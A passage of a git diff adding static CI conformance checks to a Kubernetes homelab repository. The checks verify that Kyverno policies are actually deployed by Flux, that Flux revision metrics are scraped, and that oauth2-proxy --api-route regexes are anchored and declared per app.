+#      they need the CRDs from the HelmRelease in (2), so they reconcile a tier later.
+#
+# On 2026-09-29 a ClusterPolicy (conformance-trigger-job-shape, the R-SEC-02 boundary bounding
+# what the conformance CI trigger may create) was added to (1). Everything went green: the file
+# parsed, `kyverno test` exercised it BY PATH and passed, the gate passed, Flux reported
+# `platform` Ready at the new revision — and the policy was never in any applied set. The
+# cluster ended up running the conformance-trigger ServiceAccount with NOTHING bounding it,
+# which is precisely the state that identity's own RBAC header says must never exist.
+#
+# Nothing could have caught it. `kyverno test` proves a policy is CORRECT, not that it is
+# DEPLOYED. This check asserts the second thing.
+#
+# GIVEN the repository as git tracks it,
+# WHEN  every file under platform/kyverno/ that declares a ClusterPolicy is enumerated,
+# THEN  each one is either referenced by platform-config/kustomization.yaml (so Flux applies
+#       it), or named in CI_ONLY below with a reason — and CI_ONLY itself may not name a
+#       policy that IS applied, so the exemption list cannot rot into a lie either way.
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+exec python3 - "$ROOT" <<'PY'
+import sys, subprocess
+from pathlib import Path
+
+ROOT = Path(sys.argv[1])
+FAILURES, CHECKS = [], 0
+
+def check(cond, desc):
+    global CHECKS
+    CHECKS += 1
+    if not cond:
+        FAILURES.append(desc)
+
+# Policies authored for the CI L0 gate that are deliberately NOT applied in-cluster. Each needs
+# a reason, and each is asserted BELOW to really be absent from the applied set — an exemption
+# that silently starts being applied is as much a lie as one that silently stops.
+CI_ONLY = {
+    "disallow-plaintext-secrets":
+        "CI-only by design: it requires a top-level `sops` block, which is IMPOSSIBLE at "
+        "admission because Flux decrypts before the Secret reaches the API server. Its "
+        "in-cluster counterpart is admission/secret-provenance.yaml.",
+}
+
+tracked = subprocess.run(["git", "ls-files", "-z", "--", "platform/kyverno/**/*.yaml",
+                          "platform/kyverno/*.yaml"],
+                         cwd=ROOT, capture_output=True, text=True, check=True)
+files = [ROOT / p for p in tracked.stdout.split("\0") if p]
+
+# A ClusterPolicy file, identified without a YAML parse of every doc: cheap and sufficient.
+policies = {}
+for f in files:
+    try:
+        txt = f.read_text()
+    except Exception:
+        continue
+    if "kind: ClusterPolicy" not in txt:
+        continue
+    for line in txt.splitlines():
+        st = line.strip()
+        if st.startswith("name:") and "  name:" in line:
+            policies[f.relative_to(ROOT).as_posix()] = st.split("name:", 1)[1].strip()
+            break
+
+check(len(policies) >= 6,
+      f"(0) the scan found {len(policies)} ClusterPolicy file(s) under platform/kyverno/ — "
+      f"too few means the scan broke, and every assertion below would be vacuous")
+
+applied_txt = (ROOT / "platform-config" / "kustomization.yaml").read_text()
+
+unapplied, wrongly_exempt = [], []
+for rel, name in sorted(policies.items()):
+    # platform-config references these as ../platform/kyverno/...
+    referenced = rel in applied_txt or rel.replace("platform/", "../platform/", 1) in applied_txt
+    if name in CI_ONLY:
+        if referenced:
+            wrongly_exempt.append(f"{name} ({rel}) is listed CI_ONLY but IS applied by platform-config")
+    elif not referenced:
+        unapplied.append(f"{name} ({rel})")
+
+check(not unapplied,
+      f"(1) every in-cluster ClusterPolicy is referenced by platform-config/kustomization.yaml "
+      f"— an unreferenced policy is authored, tested, green, and NEVER APPLIED {unapplied if unapplied else ''}")
+
+check(not wrongly_exempt,
+      f"(2) no CI_ONLY exemption names a policy that IS applied — a stale exemption hides a "
+      f"real deployment {wrongly_exempt if wrongly_exempt else ''}")
+
+for name, reason in CI_ONLY.items():
+    check(bool(reason.strip()),
+          f"(3) CI_ONLY['{name}'] carries a reason — an unexplained exemption is how this "
+          f"list stops being reviewable")
+
+check(CHECKS >= 4,
+      f"only {CHECKS} assertions ran — the check degenerated to a near-no-op")
+
+if FAILURES:
+    print(f"CHECK FAIL (admission-policies-actually-applied): {len(FAILURES)} of {CHECKS} assertions failed",
+          file=sys.stderr)
+    for f in FAILURES:
+        print(f"  - {f}", file=sys.stderr)
+    raise SystemExit(1)
+print(f"check OK: admission-policies-actually-applied — {CHECKS} assertions; "
+      f"{len(policies)} ClusterPolicy file(s), {len(policies) - len(CI_ONLY)} applied by "
+      f"platform-config, {len(CI_ONLY)} CI-only with reasons. Proves policies are DEPLOYED, "
+      f"not that they are correct — `kyverno test` is what proves correctness.")
+PY

conformance/tests/l0-static/alert-metrics-have-scrape-targets/check.sh

@@ -237,6 +237,31 @@ SCRAPE_OWNERS: list[dict] = [
                "backed up (VeleroScheduleNeverBackedUp / SchedulePaused / NoVolumeDataBackup); "
                "Velero itself publishes nothing until a backup is attempted",
     },
+    {
+        "owner": "kube-prometheus-stack: kube-state-metrics custom-resource-state for Flux revisions",
+        "prefixes": ("kube_flux_",),
+        "file": KPS,
+        "require": [
+            r"customResourceState:\s*\n\s*enabled:\s*true",
+            r"metricNamePrefix:\s*kube_flux_kustomization",
+            r"metricNamePrefix:\s*kube_flux_gitrepository",
+            # The RBAC is MANDATORY, not cosmetic — the same measured failure mode as velero.io
+            # above: without read access to these two API groups KSM publishes the
+            # custom-resource-state metrics as an EMPTY SET and logs a forbidden error, which would
+            # leave FluxRolloutInProgress/FluxRolloutStuck inert while looking configured.
+            r'apiGroups:\s*\["kustomize\.toolkit\.fluxcd\.io"\]',
+            r'apiGroups:\s*\["source\.toolkit\.fluxcd\.io"\]',
+            # A config-only edit does not restart KSM (the chart sets no checksum annotation over
+            # the ConfigMap), so the pod annotation that forces the roll is part of the claim: drop
+            # it and a future change to the flux collector set ships green and never takes effect.
+            r"homelab\.keithjackson\.dev/crs-config-rollout",
+        ],
+        "forbid": [r"customResourceState:\s*\n\s*enabled:\s*false"],
+        "why": "kube_flux_* is the ONLY revision-carrying signal in the TSDB — gotk_* has no "
+               "revision label anywhere (measured 2026-09-29) and the Flux event stream emits "
+               "ReconciliationSucceeded on every interval tick whether or not anything changed, so "
+               "without these metrics nothing can tell a deploy starting from an idle cluster",
+    },
     {
         "owner": "kube-prometheus-stack: bundled kube-state-metrics",
         "prefixes": ("kube_",),

conformance/tests/l0-static/c2-root-surface/check.sh

@@ -216,6 +216,20 @@ def is_literal_base(host: str) -> bool:
 DELIVERY_ROOTS = ("apps", "platform", "platform-config", "platform-config-cdi",
                   "runbooks", "clusters", "bootstrap", "catalog")
 
+# NARROW EXEMPTION to (0), for reconciled trees that deliberately serve NOTHING.
+# `conformance/incluster` (the L2/L3 runner + CI-trigger identities, R-SEC-02) is reconciled
+# by clusters/base/conformance.yaml but contains only a Namespace, ServiceAccounts, RBAC and
+# an admission-bounded Job template. Adding "conformance" to DELIVERY_ROOTS instead would be
+# wrong for the reason stated above: it would sweep in this harness's synthetic fixture
+# routes and make (8) demand the operator's dashboard link them.
+#
+# THE EXEMPTION POLICES ITSELF. An unchecked allowlist is how (0) would rot into a fail-open —
+# add a tree here, later put an HTTPRoute in it, and the forward direction goes quietly green
+# on a hidden service. So each exempted tree is ASSERTED below to declare no route and no
+# hostname-publishing Service. If that ever stops being true the check fails and the tree must
+# become a real delivery root.
+NON_SERVING_RECONCILED = ("conformance/incluster",)
+
 
 def tracked_yaml() -> list[Path]:
     out = subprocess.run(["git", "ls-files", "-z", "--", "*.yaml", "*.yml"],
@@ -262,12 +276,31 @@ flux_ks = [(p, d) for p, d in docs_all()
 # a Kustomization declared elsewhere); they name no source and reconcile nothing, so requiring
 # a path of them would fail on a file that is correct.
 reconcilers = [(p, d) for p, d in flux_ks if (d.get("spec", {}) or {}).get("sourceRef")]
+def _reconciled_path(d):
+    return (d.get("spec", {}) or {}).get("path", "").lstrip("./").rstrip("/")
+
+
 unscanned = sorted({
     f"{p.relative_to(ROOT)}:{(d.get('spec', {}) or {}).get('path', '') or '(no path)'}"
     for p, d in reconcilers
-    if (d.get("spec", {}) or {}).get("path", "").lstrip("./").split("/")[0]
-    not in DELIVERY_ROOTS
+    if _reconciled_path(d).split("/")[0] not in DELIVERY_ROOTS
+    and _reconciled_path(d) not in NON_SERVING_RECONCILED
 })
+
+# The exemption's own guard: an exempted tree must actually serve nothing.
+exempt_serving = sorted({
+    f"{p.relative_to(ROOT)} ({d.get('kind')})"
+    for p, d in docs_all()
+    if any(str(p.relative_to(ROOT)).startswith(t + "/") for t in NON_SERVING_RECONCILED)
+    and (d.get("kind") == "HTTPRoute"
+         or (d.get("kind") == "Service"
+             and any("hostname" in str(k).lower()
+                     for k in ((d.get("metadata", {}) or {}).get("annotations", {}) or {}))))
+})
+check(not exempt_serving,
+      f"(0b) every NON_SERVING_RECONCILED tree really serves nothing — an exempted tree that "
+      f"gains a route would hide a service from this check entirely "
+      f"{exempt_serving if exempt_serving else ''}")
 check(len(reconcilers) >= 10 and not unscanned,
       f"(0) all {len(reconcilers)} Flux-reconciled path(s) lie inside a scanned root — a "
       f"reconciled tree this check does not read is a service it cannot require a link for "

conformance/tests/l0-static/oauth2-proxy-api-routes-per-app/chainsaw-test.yaml

@@ -0,0 +1,134 @@
+# =============================================================================
+# L0 STATIC — `--api-route` is PER APP, ANCHORED, and DECLARED
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# THE DEFECT THIS CLOSES. oauth2-proxy answers an unauthenticated request with a 302 to
+# Keycloak. Its built-in AJAX guard would send a 401 instead, but it fires only on an EXACT
+# `Accept: application/json`, which these apps' JavaScript does not consistently send. So a
+# browser XHR gets a 302, FOLLOWS IT INVISIBLY, has it satisfied silently by the live Keycloak
+# SSO session, and resolves 200 carrying the app's HTML where the JavaScript expected JSON — no
+# prompt, no console error, nothing logged as a failure. On a WRITE it is worse: a browser
+# following a 302 re-issues a POST as a GET and DROPS THE BODY, so the operator's change is
+# discarded and the UI reports success.
+#
+# MEASURED, twice, on two different apps and two different paths:
+#   jackett 2026-09-30 — on /api/ paths: 33 x 302 against 2 x 401, and 4 of 6 POSTs answered BY
+#           THE PROXY, never reaching Jackett (access-log upstream field `-`, not `/`). That is
+#           the operator's whole report: "GET works, most PUT/POST to add indexers fail,
+#           reloading never fixes it, and I am never re-prompted for login".
+#   radarr  2026-10-01, 23h after the cookie fix rolled (pod radarr-7d55cbffb9-42hmh, 0
+#           restarts) — 232 unauthenticated requests in the pod's whole lifetime and ALL 232 are
+#           the same call: `POST /signalr/messages/negotiate` from a browser UA, 302, upstream
+#           `-`. A left-open tab whose session the cookie rename orphaned, polling SignalR
+#           forever, silently redirected every time, NEVER re-prompting. The reported symptom,
+#           still running in production, on a service nobody was watching.
+#
+# WHY IT CANNOT BE A RENDERER CONSTANT — AND WHY THAT NEEDS A GATE. The path shape belongs to
+# the APP, not to the forward-auth pattern: radarr's broken path is `/signalr/`, jackett's is
+# `/api/`, and PIHOLE SERVES NO `/api/` AT ALL. One function renders all five sidecars
+# (catalog/render.py::_oauth2_sidecar_container), so the cheap fix is a constant — and a
+# constant applies one app's measurement to four apps nobody measured. The gate that already
+# exists cannot see that mistake: `ci/render-golden.sh` compares the render to the goldens, and
+# a constant plus regenerated goldens AGREE WITH EACH OTHER while both being wrong. Hence
+# assertion (2) below, which compares the rendered flag against each service's OWN
+# ServiceDefinition rather than against the renderer's output.
+#
+# WHY BREADTH IS THE DANGEROUS DIRECTION, AND IT IS NOT SYMMETRIC. A MISSING --api-route is a
+# silent 302 — bad, invisible, recoverable. A TOO BROAD one answers a plain PAGE LOAD with 401:
+# a logged-out operator gets a bare error page and is NEVER OFFERED A SIGN-IN, so the service
+# looks permanently broken and no reload recovers it. That is a worse outcome than the defect
+# the flag fixes, which is why the anchoring rule is asserted on three independent surfaces
+# (schema items.pattern, the renderer, and this check) and why assertion (5) fails if they drift
+# apart — if they do, the loosest one wins silently.
+#
+# GIVEN every oauth2-proxy sidecar this repo DEPLOYS (a container in any manifest at any depth:
+#       the rendered sidecars in apps/, crafty's hand-authored one in platform/), the
+#       ServiceDefinitions in catalog/ that generate five of them, and the renderer itself,
+# WHEN  each sidecar's `--api-route` values are collected (the flag is REPEATABLE, so all of
+#       them, in order) and each onboarded forward-auth service is paired with its golden,
+# THEN  (1) every rendered --api-route is anchored at `^/` and continues with literal path
+#           characters — `^/`, `^/.*`, `.*`, an unanchored `/api/` and any alternation FAIL;
+#       (2) every onboarded forward-auth service's rendered route list EQUALS its own
+#           ServiceDefinition's `auth.apiRoutes`, in order — which fails both a hand-edited
+#           golden and a renderer constant, neither of which render-golden can see;
+#       (3) BOTH cases are live in this tree: at least one service declares routes and at least
+#           one declares none and renders none (the pihole case), so neither path is an
+#           unexercised seam;
+#       (4) `_oauth2_sidecar_container()` reads `auth.apiRoutes` and contains NO literal path
+#           regex — a constant is the defect, back in the one place that reintroduces it
+#           fleet-wide in a single edit;
+#       (5) the anchoring pattern in the renderer and in the schema are the SAME pattern this
+#           check enforces;
+#       (6) the SHIPPED renderer, run as a subprocess on synthetic ServiceDefinitions, emits
+#           exactly the declared routes in order, emits NOTHING for a service declaring none or
+#           an empty list, and REFUSES all five breadth shapes.
+#
+# WHY ALSO A SCHEMA PATTERN, GIVEN THIS CHECK. The schema is the only surface that rejects a
+# too-broad regex WHERE A HUMAN TYPES IT — `ci/l0.sh` validates `catalog/*.yaml` against it on
+# every gate run, so the operator is told at the authoring surface rather than finding out from
+# a 401 on a page load. The renderer's own guard is there because `render-golden` runs even on a
+# gate invocation where the schema stage skipped. This check is there because neither of those
+# can see a renderer constant. Three surfaces, three different blind spots.
+#
+# WHY THIS IS A SIBLING AND NOT PART OF oauth2-proxy-cookie-names-distinct. That check's subject
+# is cookie IDENTITY: its inputs are names and domains, its failure mode is mutual session
+# eviction, its register is the shared proxy's claim on the default name. `--api-route` shares
+# none of those. Bundling them would make that check's name a lie and couple two unrelated
+# ratchets, so a future api-route decision could only be expressed by weakening a COOKIE check —
+# the same discipline that check's own header argues for, applied to this change.
+#
+# WHAT THIS DOES NOT ESTABLISH — read with the handoff entry, not instead of it:
+#   - That a 401 FIXES anything in a browser. No browser round-trip has been made, by anyone,
+#     for this flag. The 302/401 split, the dropped POST bodies and the orphaned SignalR poll
+#     are all read from access logs; the repair is reasoned from HTTP semantics.
+#   - That the regexes are RIGHT for these two apps beyond the measured paths. `^/api/` on
+#     radarr is justified by a measurement of radarr taken on its PRE-FIX pod by another
+#     engineer (decisions/2026-09-30-jackett-oauth2-proxy-session.md: 62 x /api/v3/command,
+#     46 x /api/v3/queue/details); the current pod has logged zero /api/ traffic.
+#   - Anything about sonarr, qbittorrent or pihole. Their logs were read (2026-10-01) and
+#     contain ZERO unauthenticated requests — no traffic, which is not the same as no need.
+#     Assertion (3) therefore proves the "declares none" PATH works; it does not claim those
+#     three apps are correctly configured.
+#   - That the LIVE pods carry what the tree says. git is not the cluster (CLAUDE.md §2b).
+#   - It does not read ../home-network-k3s. The spec is read-only (R-TEST-06).
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: oauth2-proxy-api-routes-per-app
+  labels:
+    conformance.home.k3s/R-IDP-02: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-IDP-02"
+    conformance.home.k3s/layer: "L0"
+    # WHOLE-REPO SCOPE — the subject spans apps/wave-0, apps/wave-1, platform/crafty, every
+    # ServiceDefinition in catalog/, the renderer that generates five of the sidecars, and the
+    # ServiceDefinition schema. No single requirement path-maps to that set, and the renderer
+    # maps to no identity requirement at all, so a requirement-scoped selection would skip this
+    # check on precisely the change that can reintroduce the defect fleet-wide in one edit.
+    conformance.home.k3s/scope: "whole-repo"
+    conformance.home.k3s/safety-critical: "false"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      An unauthenticated XHR is answered 401, not 302, on exactly the paths each app was
+      MEASURED to serve as a machine API: every rendered --api-route is anchored at ^/ and
+      continues with literal path characters, every onboarded forward-auth service's rendered
+      routes equal its own auth.apiRoutes in order (so neither a hand-edited golden nor a
+      renderer constant can pass), an app declaring none renders none, the anchoring pattern is
+      the same in the schema and the renderer, and the shipped renderer is proven on synthetic
+      ServiceDefinitions in both directions — including refusing the five breadth shapes that
+      would answer a page load with 401.
+spec:
+  steps:
+    - name: assert-api-route-is-per-app-anchored-and-declared
+      description: >-
+        Inventory every oauth2-proxy sidecar's repeatable --api-route values, assert each is an
+        anchored path regex, cross-check each onboarded forward-auth service's rendered routes
+        against its own ServiceDefinition, require both the declares-routes and the
+        declares-none cases to be live in the tree, assert the renderer derives from
+        auth.apiRoutes and hardcodes no path regex, assert the schema and renderer share this
+        check's anchoring pattern, and prove the shipped renderer on synthetic
+        ServiceDefinitions in both directions.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/oauth2-proxy-api-routes-per-app/check.sh

@@ -0,0 +1,433 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 STATIC CHECK — `--api-route` is PER APP, ANCHORED, and DECLARED.
+# See chainsaw-test.yaml's header for WHY this exists and what it measured. In one paragraph:
+#
+# oauth2-proxy answers an unauthenticated request with a 302 to Keycloak. A browser XHR follows
+# that redirect invisibly, the live SSO session satisfies it silently, and the call resolves 200
+# carrying the app's HTML where its JavaScript expected JSON — and a POST following a 302 is
+# re-issued as a GET with its BODY DROPPED. `--api-route=<regex>` makes matching paths answer
+# 401 instead. The flag is right for jackett (`/api/`) and radarr (`/signalr/`, `/api/`) and
+# WRONG for pihole, which serves no `/api/` at all — so it cannot be a renderer constant, and
+# the point of this check is that it never becomes one again.
+#
+# The breadth direction is the dangerous one and it is NOT symmetric with the bug. A missing
+# `--api-route` is a silent 302; a TOO BROAD one answers a plain PAGE LOAD with 401, so a
+# logged-out operator gets a bare error page and is never offered a sign-in — the service looks
+# permanently broken. That is a worse outcome than the defect, which is why the anchoring rule
+# is asserted here as well as in the schema.
+#
+# Exit 0 = all assertions pass. Exit 1 = a failure. Exit 3 (honest SKIP, which the runner turns
+# into rc 3 = UNWIRED, never green, because this test declares the whole-repo scope) only if the
+# tree contains no forward-auth oauth2-proxy sidecar at all — genuinely nothing to audit.
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+PYTHON="${PYTHON:-python3}"
+
+# Honest SKIP (never green for a scope-declaring test) if the forward-auth pattern has left the
+# repo. Anchored on `image:` for the same reason as the sibling cookie check: a bare
+# `oauth2-proxy/oauth2-proxy:` also matches platform/oauth2-proxy/forward-auth-cec.yaml's Envoy
+# cluster reference (`serviceName: oauth2-proxy/oauth2-proxy:80`), which runs no proxy.
+if ! grep -rlE 'image:[[:space:]]*[^[:space:]]*oauth2-proxy' \
+       "${ROOT}/apps" "${ROOT}/platform" >/dev/null 2>&1; then
+  echo "check SKIPPED: no oauth2-proxy container image found under apps/ or platform/ — the forward-auth sidecar pattern is gone and there is nothing to audit" >&2
+  exit 3
+fi
+
+cd "${ROOT}"
+"${PYTHON}" - "${ROOT}" <<'PY'
+"""Static audit: --api-route is per-app, anchored, and declared in the ServiceDefinition.
+
+PyYAML (the same dependency as catalog/render.py and the sibling l0-static checks) rather than
+line-based parsing: a container's args live in a nested structure, and a line-based reader of
+one is precisely the approximate parser that silently stops matching.
+"""
+from __future__ import annotations
+
+import json
+import re
+import subprocess
+import sys
+import tempfile
+from pathlib import Path
+
+try:
+    import yaml
+except ImportError:                                  # pragma: no cover
+    print("check FAIL: PyYAML is required (same dependency as catalog/render.py)",
+          file=sys.stderr)
+    raise SystemExit(1)
+
+ROOT = Path(sys.argv[1])
+sys.dont_write_bytecode = True          # keep __pycache__ out of the tracked tree
+
+FAILURES: list[str] = []
+CHECKS = 0
+
+
+def check(cond, msg):
+    global CHECKS
+    CHECKS += 1
+    if not cond:
+        FAILURES.append(msg)
+
+
+# THE BREADTH RATCHET, stated once and asserted against three independent surfaces below (the
+# rendered tree, the authored catalog, the shipped renderer). Each entry must be anchored at
+# `^/` and continue with LITERAL path characters. This rejects:
+#   `^/`      and `^/.*`   — match every page load, so the UI answers 401 and never signs in
+#   `/api/`               — unanchored; oauth2-proxy would match it mid-path
+#   `.*`                  — everything
+#   `^/api/|^/`           — alternation smuggles breadth past a prefix-only reading
+# Alternation is REFUSED rather than supported because `--api-route` is repeatable: one entry
+# per route costs nothing and each entry stays readable. Kept byte-identical to
+# catalog/render.py's OAUTH2_API_ROUTE_PATTERN and to the schema's items.pattern; assertion (5)
+# below fails if they drift apart.
+ANCHORED = re.compile(r"^\^/[A-Za-z0-9._~/-]+(\.\*|\$)?$")
+SCHEMA_PATTERN = r"^\^/[A-Za-z0-9._~/-]+(\.\*|\$)?$"
+
+
+def read(p: Path) -> str:
+    try:
+        return p.read_text()
+    except (OSError, UnicodeDecodeError):
+        return ""
+
+
+def is_test_fixture(p: Path) -> bool:
+    """conformance/tests/**/{golden,fixtures}/** is assertion DATA, not deployed manifests."""
+    parts = p.parts
+    return "conformance" in parts and ("golden" in parts or "fixtures" in parts)
+
+
+def iter_containers(node):
+    """Yield every container mapping under any `containers`/`initContainers` list, at any depth.
+
+    Depth-agnostic on purpose: the same container shape appears under a Deployment, a DaemonSet,
+    a CronJob's jobTemplate or a bare Pod, and a reader that hardcoded one path would silently
+    stop seeing an instance the day one moved.
+    """
+    if isinstance(node, dict):
+        for key, val in node.items():
+            if key in ("containers", "initContainers") and isinstance(val, list):
+                for c in val:
+                    if isinstance(c, dict):
+                        yield c
+            else:
+                yield from iter_containers(val)
+    elif isinstance(node, list):
+        for item in node:
+            yield from iter_containers(item)
+
+
+def api_routes_of(args: list) -> list:
+    """Every `--api-route=<v>` / `--api-route <v>` value, in order. The flag is REPEATABLE, so
+    this must collect ALL of them — a single-value reader would audit the first and wave the
+    rest through, which is the shape of reader bug this file's header warns about."""
+    out = []
+    for i, a in enumerate(args):
+        if not isinstance(a, str):
+            continue
+        if a.startswith("--api-route="):
+            out.append(a.split("=", 1)[1])
+        elif a == "--api-route" and i + 1 < len(args) and isinstance(args[i + 1], str):
+            out.append(args[i + 1])
+    return out
+
+
+# ============================================================ (0) INVENTORY: THE RENDERED TREE
+# Every oauth2-proxy container this repo DEPLOYS, keyed by file + owner, with its api-routes.
+rendered: dict[str, list] = {}
+for p in sorted(ROOT.rglob("*.yaml")):
+    relparts = p.relative_to(ROOT).parent.parts
+    # NESTED WORKTREES: skip dot-DIRECTORIES (.git, .claude) while still matching dot-FILES such
+    # as .sops.yaml. .claude/worktrees/agent-*/ holds full repo copies for isolated agent runs,
+    # so a bare rglob audits up to 18 duplicates of every file — which both invents FAILs and,
+    # worse, can satisfy a "something declares X" check from a copy rather than from real source.
+    if any(part.startswith(".") for part in relparts) or is_test_fixture(p) or ".sops." in p.name:
+        continue
+    txt = read(p)
+    if "oauth2-proxy" not in txt:
+        continue
+    rel = str(p.relative_to(ROOT))
+    try:
+        docs = [d for d in yaml.safe_load_all(txt) if isinstance(d, dict)]
+    except yaml.YAMLError as exc:
+        check(False, f"{rel} is not parseable YAML ({exc}) — any oauth2-proxy instance in it "
+                     f"went unaudited, so a too-broad --api-route could be hiding there")
+        continue
+    for d in docs:
+        for c in iter_containers(d):
+            image = str(c.get("image") or "")
+            name = str(c.get("name") or "")
+            if "oauth2-proxy" not in image and name != "oauth2-proxy":
+                continue
+            owner = (d.get("metadata") or {}).get("name") or "?"
+            args = list(c.get("args") or []) + list(c.get("command") or [])
+            rendered[f"{rel}:{owner}/{name or 'oauth2-proxy'}"] = api_routes_of(args)
+
+check(len(rendered) >= 5,
+      f"only {len(rendered)} oauth2-proxy container(s) parsed out of the tree. This repo "
+      f"deploys more than that (five rendered sidecars plus crafty's hand-authored one), so the "
+      f"inventory has stopped seeing instances and every assertion below would pass vacuously "
+      f"while an unanchored --api-route went unaudited")
+
+# ============================================================ (1) EVERY ROUTE IS ANCHORED
+for key, routes in sorted(rendered.items()):
+    for r in routes:
+        check(bool(ANCHORED.match(r)),
+              f"{key} declares --api-route={r!r}, which is not an anchored path regex.\n"
+              f"       WHY THIS IS WORSE THAN THE BUG IT FIXES: --api-route makes matching paths "
+              f"answer 401 instead of 302ing to Keycloak. A regex that also matches a path a "
+              f"BROWSER NAVIGATES to — `^/`, `^/.*`, `.*`, or an alternation that reaches the "
+              f"UI root — answers a plain PAGE LOAD with 401. A logged-out operator then sees a "
+              f"bare error page and is NEVER OFFERED A SIGN-IN: the service looks permanently "
+              f"broken rather than merely unauthenticated, and no reload can recover it.\n"
+              f"       FIX: anchor it at '^/' followed by literal path characters "
+              f"(e.g. '^/api/', '^/signalr/', '^/api/v3/.*'), one entry per route — the flag is "
+              f"repeatable, so alternation is never needed. For a service rendered from catalog/, "
+              f"do NOT hand-edit the golden: declare auth.apiRoutes and re-render "
+              f"(ci/render-golden.sh's header has the canonical command)")
+
+# ============================================================ (2) DERIVED FROM THE CATALOG
+# The five rendered sidecars are OUTPUTS. Auditing only them would let someone "fix" a golden by
+# hand (reverted by the next render) or make the renderer emit a CONSTANT and regenerate every
+# golden to match — which render-golden cannot see, because render and golden would agree.
+# So: every onboarded forward-auth service's rendered route list must EQUAL its own
+# ServiceDefinition's auth.apiRoutes, in order.
+catalog_dir = ROOT / "catalog"
+declared: dict[str, list] = {}
+forward_auth: list[str] = []
+for sd_path in sorted(catalog_dir.glob("*.yaml")):
+    try:
+        sd = yaml.safe_load(read(sd_path))
+    except yaml.YAMLError as exc:
+        check(False, f"catalog/{sd_path.name} is not parseable YAML ({exc})")
+        continue
+    if not isinstance(sd, dict) or not sd.get("name"):
+        continue
+    auth = sd.get("auth") or {}
+    routes = auth.get("apiRoutes") or []
+    declared[sd["name"]] = list(routes)
+    if auth.get("mode") == "forward-auth" and (sd.get("ingressRoutes") or []):
+        forward_auth.append(sd["name"])
+    for r in routes:
+        check(bool(ANCHORED.match(str(r))),
+              f"catalog/{sd_path.name}: auth.apiRoutes entry {r!r} is not anchored at '^/' "
+              f"followed by literal path characters. See assertion (1) for why breadth here is "
+              f"the dangerous direction. The schema rejects this too (items.pattern); this "
+              f"assertion exists because the schema stage can be SKIPPED and this one cannot")
+    if routes:
+        check(auth.get("mode") == "forward-auth",
+              f"catalog/{sd_path.name} declares auth.apiRoutes with auth.mode="
+              f"{auth.get('mode')!r}. --api-route renders onto the per-app oauth2-proxy sidecar, "
+              f"and no sidecar is rendered for oidc/native/none — so this is a SILENT NO-OP: the "
+              f"operator believes the app's XHRs now answer 401 and nothing changed")
+
+matched = 0
+for name in sorted(forward_auth):
+    golden = next((p for p in sorted(ROOT.glob(f"apps/wave-*/{name}.yaml"))), None)
+    if golden is None:
+        continue                      # catalog service not onboarded to apps/ yet — no golden
+    key = next((k for k in rendered if k.startswith(str(golden.relative_to(ROOT)) + ":")), None)
+    check(key is not None,
+          f"apps/{golden.name} is the golden for forward-auth service {name!r} but no "
+          f"oauth2-proxy container was parsed out of it. Its --api-route configuration is "
+          f"UNAUDITED")
+    if key is None:
+        continue
+    matched += 1
+    check(rendered[key] == declared.get(name, []),
+          f"{name}: the rendered sidecar declares --api-route {rendered[key]!r} but "
+          f"catalog/{name}.yaml declares auth.apiRoutes {declared.get(name, [])!r}.\n"
+          f"       These must be IDENTICAL and in order. A mismatch means one of two things, "
+          f"both bad: a golden was hand-edited (the next re-render silently reverts it), or the "
+          f"renderer is emitting --api-route from somewhere other than this service's own "
+          f"ServiceDefinition — i.e. a constant or a per-service table. A constant is the defect "
+          f"this field exists to prevent: it applies ONE app's path shape to all five, and "
+          f"pihole serves no /api/ at all, so it would answer pihole's page loads with 401. "
+          f"render-golden cannot catch that, because render and golden would agree with each "
+          f"other while both being wrong")
+
+check(matched >= 4,
+      f"only {matched} onboarded forward-auth service(s) were cross-checked against their "
+      f"ServiceDefinition. This repo onboards five, so the catalog<->golden pairing has stopped "
+      f"resolving and assertion (2) is passing vacuously")
+
+# ============================================================ (3) BOTH CASES EXIST
+# Once the tree is consistent, (2) is satisfied by any pairing — including one where NOTHING
+# declares a route (vacuous) or one where EVERYTHING does (so the "renders nothing" path is
+# never exercised). Both halves are asserted to be live, because the per-app field only earns
+# its complexity if both outcomes actually occur in this tree.
+with_routes = [n for n in forward_auth if declared.get(n)]
+without_routes = [n for n in forward_auth if not declared.get(n)]
+check(bool(with_routes),
+      "no onboarded forward-auth service declares auth.apiRoutes, so assertion (2) cannot "
+      "distinguish a working renderer from one that emits the flag nowhere. If the flag is "
+      "genuinely not needed anywhere, delete the field rather than leaving an unexercised seam")
+check(bool(without_routes),
+      "EVERY onboarded forward-auth service declares auth.apiRoutes, so nothing in this tree "
+      "exercises the 'declares none => renders no flag' path. That path is the whole reason the "
+      "field is per-app: pihole serves no /api/, and a renderer-wide default would answer its "
+      "page loads with 401")
+for name in sorted(without_routes):
+    golden = next((p for p in sorted(ROOT.glob(f"apps/wave-*/{name}.yaml"))), None)
+    if golden is None:
+        continue
+    key = next((k for k in rendered if k.startswith(str(golden.relative_to(ROOT)) + ":")), None)
+    if key is None:
+        continue
+    check(rendered[key] == [],
+          f"{name} declares NO auth.apiRoutes but its rendered sidecar carries "
+          f"--api-route {rendered[key]!r}. An app that declares nothing must render NOTHING")
+
+# ============================================================ (4) THE RENDERER DERIVES
+render_py = ROOT / "catalog" / "render.py"
+check(render_py.is_file(),
+      "catalog/render.py is missing — the generator of five of these sidecars cannot be audited")
+if render_py.is_file():
+    src = read(render_py)
+    m = re.search(r"def _oauth2_sidecar_container\(.*?\n(?=\n*def |\n*# =)", src, re.S)
+    fn = m.group(0) if m else ""
+    check(bool(fn),
+          "could not locate _oauth2_sidecar_container() in catalog/render.py. It was renamed or "
+          "removed, so assertion (4) cannot run and the generator is unaudited")
+    if fn:
+        check("--api-route=" in fn,
+              "catalog/render.py's _oauth2_sidecar_container() emits no --api-route at all, so "
+              "every forward-auth app's XHRs are answered with a 302 the browser follows "
